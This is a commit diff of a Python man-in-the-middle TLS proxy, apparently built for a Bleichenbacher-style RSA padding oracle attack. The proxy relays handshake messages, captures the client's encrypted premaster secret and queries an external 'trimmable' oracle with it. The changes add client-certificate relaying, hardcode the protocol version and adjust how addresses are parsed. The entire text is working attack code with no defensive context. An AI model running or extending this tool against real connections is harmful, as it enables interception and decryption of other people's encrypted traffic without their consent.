@@ -22,7 +22,7 @@ def handshakeProxy(c_conn, s_conn, oracle):
22
22
else : break
23
23
clientHello = result
24
24
25
- c_conn .version = clientHello . client_version
25
+ c_conn .version = ( 3 , 1 ) # TODO : Hardcoded version ?
26
26
27
27
for result in c_conn ._sendMsg (clientHello ):
28
28
yield result
@@ -45,14 +45,27 @@ def handshakeProxy(c_conn, s_conn, oracle):
45
45
# CERTIFICATE S -> C
46
46
for result in c_conn ._getMsg (ContentType .handshake ,
47
47
HandshakeType .certificate ,
48
- serverHello .certificate_type ):
48
+ serverHello .certificate_type ): # FIXME : we should only allow RSA
49
49
if result in (0 ,1 ): yield result
50
50
else : break
51
- certificate = result
51
+ serverCertificate = result
52
52
53
- for result in s_conn ._sendMsg (certificate ):
53
+ for result in s_conn ._sendMsg (serverCertificate ):
54
54
yield result
55
55
56
+
57
+ # TODO : this part is optional
58
+ # CERTIFICATE REQUEST S -> C
59
+ for result in c_conn ._getMsg (ContentType .handshake ,
60
+ HandshakeType .certificate_request ):
61
+ if result in (0 ,1 ): yield result
62
+ else : break
63
+ certificate_request = result
64
+
65
+ for result in s_conn ._sendMsg (certificate_request ):
66
+ yield result
67
+
68
+
56
69
# SERVER HELLO DONE S -> C
57
70
for result in c_conn ._getMsg (ContentType .handshake ,
58
71
HandshakeType .server_hello_done ):
@@ -63,6 +76,19 @@ def handshakeProxy(c_conn, s_conn, oracle):
63
76
for result in s_conn ._sendMsg (serverHelloDone ):
64
77
yield result
65
78
79
+ # TODO : this part is optional
80
+ # CERTIFICATE C -> S
81
+ for result in s_conn ._getMsg (ContentType .handshake ,
82
+ HandshakeType .certificate ,
83
+ serverHello .certificate_type ): # FIXME : we should allow anything ?
84
+ if result in (0 ,1 ): yield result
85
+ else : break
86
+ clientCertificate = result
87
+
88
+ for result in c_conn ._sendMsg (clientCertificate ):
89
+ yield result
90
+
91
+
66
92
# CLIENT KEY EXCHANGE C -> S
67
93
for result in s_conn ._getMsg (ContentType .handshake ,
68
94
HandshakeType .client_key_exchange ,
@@ -75,8 +101,11 @@ def handshakeProxy(c_conn, s_conn, oracle):
75
101
epms = clientKeyExchange .encryptedPreMasterSecret
76
102
if not oracle (epms ):
77
103
# YOU SHALL NOT PASS !
104
+ print ("You shall not pass" )
78
105
return
79
106
107
+ print ("Found trimmer !" )
108
+
80
109
print (hexlify (epms ).decode ())
81
110
82
111
# If it's ok, continue
@@ -110,9 +139,9 @@ def handshakeProxy(c_conn, s_conn, oracle):
110
139
111
140
# Get parameters
112
141
listenaddr , connectaddr , oracleaddr , cert = sys .argv [1 :]
113
- listenaddr = (listenaddr .split (':' )[0 ], int (listenaddr .split (':' )[1 ]))
114
- connectaddr = (connectaddr .split (':' )[0 ], int (connectaddr .split (':' )[1 ]))
115
- oracleaddr = (oracleaddr .split (':' )[0 ], int (oracleaddr .split (':' )[1 ]))
142
+ listenaddr = (listenaddr .rsplit (':' , 1 )[0 ], int (listenaddr .rsplit (':' , 1 )[1 ]))
143
+ connectaddr = (connectaddr .rsplit (':' , 1 )[0 ], int (connectaddr .rsplit (':' , 1 )[1 ]))
144
+ oracleaddr = (oracleaddr .rsplit (':' , 1 )[0 ], int (oracleaddr .rsplit (':' , 1 )[1 ]))
116
145
117
146
oracle = lambda epms : not subprocess .call (["./trimmable" , '{}:{}' .format (* oracleaddr ), cert , hexlify (epms )])
118
147
0 commit comments